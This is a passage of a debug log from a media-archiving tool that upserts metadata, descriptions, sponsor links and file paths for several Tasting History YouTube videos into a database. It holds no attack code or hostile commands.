History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nWatch Anthony Clarke discuss the origins of the Altar Stone: https://youtu.be/QQsRHNHA9Ow?si=Tqo4Utahzo9waWac\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nStonehenge - By garethwiscombe - https://www.flickr.com/photos/garethwiscombe/1071477228/in/photostream/, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=13278936\nDurrington Walls - By Ethan Doyle White - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=64012582 \nLidar view of Knowlton - By Dr John Wells - Own work, CC BY 4.0, https://commons.wikimedia.org/w/index.php?curid=179066884\nAurochs Skeleton - By Marcus Sümnick from Rostock, Germany - Aurochs Uploaded by FunkMonk, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=18323006\nHazelnuts - By Ivar Leidus - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=98707662\nAvebury - By MikPeach - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=62837662\nMayburg Henge - By Chazza114 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=144018403\nAn aerial view of the henge site and cairn on Cairnpapple Hill in West Lothian - By Dr John Wells - https://web.archive.org/web/20130119123425/http://www.armadale.org.uk/cairnpapple.htm, CC BY 3.0, https://commons.wikimedia.org/w/index.php?curid=22909135\nWoodhenge - CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=48577\nDitch at Avebury - CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=73498\nPreseli Hills - By Tony Holkham at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=48554746\nAltar Stone - By The Stones of Stonehenge - http://www.stonesofstonehenge.org.uk, CC BY 4.0, https://commons.wikimedia.org/w/index.php?curid=151586152\nOrcadian Basin - By Mikenorton - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=18502199\n\n#tastinghistory", "What Did the Builders of Stonehenge Eat?", "8c973f22-22d2-4988-bc35-53927530d508", "i3L1g62Sy58", "https://www.youtube.com/watch?v=i3L1g62Sy58", false, 1335, false, 6, "/downloads/Tasting History with Max Miller/2026-02-17 What Did the Builders of Stonehenge Eat?/What Did the Builders of Stonehenge Eat? [i3L1g62Sy58].mp4", false, false, 3, [], 98, ~U[2026-02-17 16:01:05Z], ~U[2026-03-31 06:52:33Z], ~U[2026-03-31 06:52:33Z], "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nWatch Anthony Clarke discuss the origins of the Altar Stone: https://youtu.be/QQsRHNHA9Ow?si=Tqo4Utahzo9waWac\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nStonehenge - By garethwiscombe - https://www.flickr.com/photos/garethwiscombe/1071477228/in/photostream/, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=13278936\nDurrington Walls - By Ethan Doyle White - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=64012582 \nLidar view of Knowlton - By Dr John Wells - Own work, CC BY 4.0, https://commons.wikimedia.org/w/index.php?curid=179066884\nAurochs Skeleton - By Marcus Sümnick from Rostock, Germany - Aurochs Uploaded by FunkMonk, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=18323006\nHazelnuts - By Ivar Leidus - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=98707662\nAvebury - By MikPeach - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=62837662\nMayburg Henge - By Chazza114 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=144018403\nAn aerial view of the henge site and cairn on Cairnpapple Hill in West Lothian - By Dr John Wells - https://web.archive.org/web/20130119123425/http://www.armadale.org.uk/cairnpapple.htm, CC BY 3.0, https://commons.wikimedia.org/w/index.php?curid=22909135\nWoodhenge - CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=48577\nDitch at Avebury - CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=73498\nPreseli Hills - By Tony Holkham at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=48554746\nAltar Stone - By The Stones of Stonehenge - http://www.stonesofstonehenge.org.uk, CC BY 4.0, https://commons.wikimedia.org/w/index.php?curid=151586152\nOrcadian Basin - By Mikenorton - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=18502199\n\n#tastinghistory", "What Did the Builders of Stonehenge Eat?", "i3L1g62Sy58", "https://www.youtube.com/watch?v=i3L1g62Sy58", 1335, false, "/downloads/Tasting History with Max Miller/2026-02-17 What Did the Builders of Stonehenge Eat?/What Did the Builders of Stonehenge Eat? [i3L1g62Sy58].mp4", false, 3, ~U[2026-02-17 16:01:05Z]] 02:52:33.942 [debug] QUERY OK source="sources" db=0.2ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:33.943 [debug] QUERY OK source="media_items" db=1.1ms idle=4.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-10 16:00:14Z], 3] 02:52:33.944 [debug] QUERY OK source="media_items" db=1.1ms idle=5.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get up to 40% off your first order at\nhttps://drinktrade.com/maxmiller \n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/gumbo\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nOkra Cross Section - By Prathyush Thomas - Own work, GFDL 1.2, https://commons.wikimedia.org/w/index.php?curid=40766980\nOkra Growing - By Earth100 - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=20903977\nSassafras leaves - By Randy Everette - Imported from 500px (archived version) by the Archive Team. (detail page), CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=71262709\n\n#tastinghistory #gumbo", "The History of Gumbo in New Orleans", "cf8ef00d-09d3-4fc0-a323-c806bda43766", "99yi0FRF4uM", "https://www.youtube.com/watch?v=99yi0FRF4uM", false, 1576, false, 7, "/downloads/Tasting History with Max Miller/2026-02-10 The History of Gumbo in New Orleans/The History of Gumbo in New Orleans [99yi0FRF4uM].mp4", false, false, 3, [], 98, ~U[2026-02-10 16:00:14Z], ~U[2026-03-31 06:52:33Z], ~U[2026-03-31 06:52:33Z], "Get up to 40% off your first order at\nhttps://drinktrade.com/maxmiller \n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/gumbo\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nOkra Cross Section - By Prathyush Thomas - Own work, GFDL 1.2, https://commons.wikimedia.org/w/index.php?curid=40766980\nOkra Growing - By Earth100 - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=20903977\nSassafras leaves - By Randy Everette - Imported from 500px (archived version) by the Archive Team. (detail page), CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=71262709\n\n#tastinghistory #gumbo", "The History of Gumbo in New Orleans", "99yi0FRF4uM", "https://www.youtube.com/watch?v=99yi0FRF4uM", 1576, false, "/downloads/Tasting History with Max Miller/2026-02-10 The History of Gumbo in New Orleans/The History of Gumbo in New Orleans [99yi0FRF4uM].mp4", false, 3, ~U[2026-02-10 16:00:14Z]] 02:52:33.945 [debug] QUERY OK source="sources" db=0.2ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:33.946 [debug] QUERY OK source="media_items" db=1.0ms idle=4.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-03 16:01:19Z], 3] 02:52:33.948 [debug] QUERY OK source="media_items" db=1.0ms idle=4.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thanks to Opera Browser for sponsoring this video. Download here - https://opr.as/Opera-browser-tastinghistory\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nKangaroo Meat - Maksym Kozlenko, CC BY-SA 4.0 https://creativecommons.org/licenses/by-sa/4.0, via Wikimedia Commons\n\n#tastinghistory", "Cooking Kangaroo on the World War 2 Australian Home Front", "6d53913f-5482-4e20-9340-289635fad2bd", "myvdVmaa0GE", "https://www.youtube.com/watch?v=myvdVmaa0GE", false, 1276, false, 8, "/downloads/Tasting History with Max Miller/2026-02-03 Cooking Kangaroo on the World War 2 Australian Home Front/Cooking Kangaroo on the World War 2 Australian Home Front [myvdVmaa0GE].mp4", false, false, 3, [], 98, ~U[2026-02-03 16:01:19Z], ~U[2026-03-31 06:52:33Z], ~U[2026-03-31 06:52:33Z], "Thanks to Opera Browser for sponsoring this video. Download here - https://opr.as/Opera-browser-tastinghistory\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nKangaroo Meat - Maksym Kozlenko, CC BY-SA 4.0 https://creativecommons.org/licenses/by-sa/4.0, via Wikimedia Commons\n\n#tastinghistory", "Cooking Kangaroo on the World War 2 Australian Home Front", "myvdVmaa0GE", "https://www.youtube.com/watch?v=myvdVmaa0GE", 1276, false, "/downloads/Tasting History with Max Miller/2026-02-03 Cooking Kangaroo on the World War 2 Australian Home Front/Cooking Kangaroo on the World War 2 Australian Home Front [myvdVmaa0GE].mp4", false, 3, ~U[2026-02-03 16:01:19Z]] 02:52:33.948 [debug] QUERY OK source="sources" db=0.2ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:33.949 [debug] QUERY OK source="media_items" db=1.1ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-27 16:00:41Z], 3] 02:52:33.951 [debug] QUERY OK source="media_items" db=0.9ms idle=4.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/mozartspork\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #mozart", "Did This Meal Kill Mozart?", "2cd98c0f-89dd-4176-b1ca-0515f4bac750", "R9Kw_3c88bQ", "https://www.youtube.com/watch?v=R9Kw_3c88bQ", false, 1300, false, 9, "/downloads/Tasting History with Max Miller/2026-01-27 Did This Meal Kill Mozart?/Did This Meal Kill Mozart? [R9Kw_3c88bQ].mp4", false, false, 3, [], 98, ~U[2026-01-27 16:00:41Z], ~U[2026-03-31 06:52:33Z], ~U[2026-03-31 06:52:33Z], "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/mozartspork\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #mozart", "Did This Meal Kill Mozart?", "R9Kw_3c88bQ", "https://www.youtube.com/watch?v=R9Kw_3c88bQ", 1300, false, "/downloads/Tasting History with Max Miller/2026-01-27 Did This Meal Kill Mozart?/Did This Meal Kill Mozart? [R9Kw_3c88bQ].mp4", false, 3, ~U[2026-01-27 16:00:41Z]] 02:52:33.951 [debug] QUERY OK source="sources" db=0.2ms idle=4.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:33.953 [debug] QUERY OK source="media_items" db=1.2ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-20 16:01:30Z], 3] 02:52:33.954 [debug] QUERY OK source="media_items" db=1.2ms idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nVideo on the London Gin Craze - https://youtu.be/r38ZpdaAX8c?si=5UvJuNx942CG_8R6\nVideo on Gruel - https://youtu.be/FPi0RiAsegQ?si=AtuicVfiJ4-w5hub\nVideo on Lobscouse - https://youtu.be/x9E-P89Acsg?si=BN4uqz-DDyD3moQ1\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/scouseandsuetdumplings\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nThe Workhouse Cookbook by Peter Higginbotham - https://amzn.to/4b9Bzvr\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings", "9e0836e1-5942-400b-8992-42d8dc02b498", "zjMQgMshYM8", "https://www.youtube.com/watch?v=zjMQgMshYM8", false, 1599, false, 10, "/downloads/Tasting History with Max Miller/2026-01-20 Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings/Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings [zjMQgMshYM8].mp4", false, false, 3, [], 98, ~U[2026-01-20 16:01:30Z], ~U[2026-03-31 06:52:33Z], ~U[2026-03-31 06:52:33Z], "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nVideo on the London Gin Craze - https://youtu.be/r38ZpdaAX8c?si=5UvJuNx942CG_8R6\nVideo on Gruel - https://youtu.be/FPi0RiAsegQ?si=AtuicVfiJ4-w5hub\nVideo on Lobscouse - https://youtu.be/x9E-P89Acsg?si=BN4uqz-DDyD3moQ1\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/scouseandsuetdumplings\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nThe Workhouse Cookbook by Peter Higginbotham - https://amzn.to/4b9Bzvr\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings", "zjMQgMshYM8", "https://www.youtube.com/watch?v=zjMQgMshYM8", 1599, false, "/downloads/Tasting History with Max Miller/2026-01-20 Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings/Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings [zjMQgMshYM8].mp4", false, 3, ~U[2026-01-20 16:01:30Z]] 02:52:33.955 [debug] QUERY OK source="sources" db=0.3ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:33.956 [debug] QUERY OK source="media_items" db=1.2ms idle=4.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-13 16:00:29Z], 3] 02:52:33.958 [debug] QUERY OK source="media_items" db=1.0ms idle=5.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Pastry War - When France invaded Mexico over pastry", "dc5d7c84-de98-412d-8df3-eb006f137c1f", "J0OHUwVLPdM", "https://www.youtube.com/watch?v=J0OHUwVLPdM", false, 1141, false, 11, "/downloads/Tasting History with Max Miller/2026-01-13 The Pastry War - When France invaded Mexico over pastry/The Pastry War - When France invaded Mexico over pastry [J0OHUwVLPdM].mp4", false, false, 3, [], 98, ~U[2026-01-13 16:00:29Z], ~U[2026-03-31 06:52:33Z], ~U[2026-03-31 06:52:33Z], "Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Pastry War - When France invaded Mexico over pastry", "J0OHUwVLPdM", "https://www.youtube.com/watch?v=J0OHUwVLPdM", 1141, false, "/downloads/Tasting History with Max Miller/2026-01-13 The Pastry War - When France invaded Mexico over pastry/The Pastry War - When France invaded Mexico over pastry [J0OHUwVLPdM].mp4", false, 3, ~U[2026-01-13 16:00:29Z]] 02:52:33.958 [debug] QUERY OK source="sources" db=0.2ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:33.960 [debug] QUERY OK source="media_items" db=1.2ms idle=4.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-06 16:01:05Z], 3] 02:52:33.961 [debug] QUERY OK source="media_items" db=1.1ms 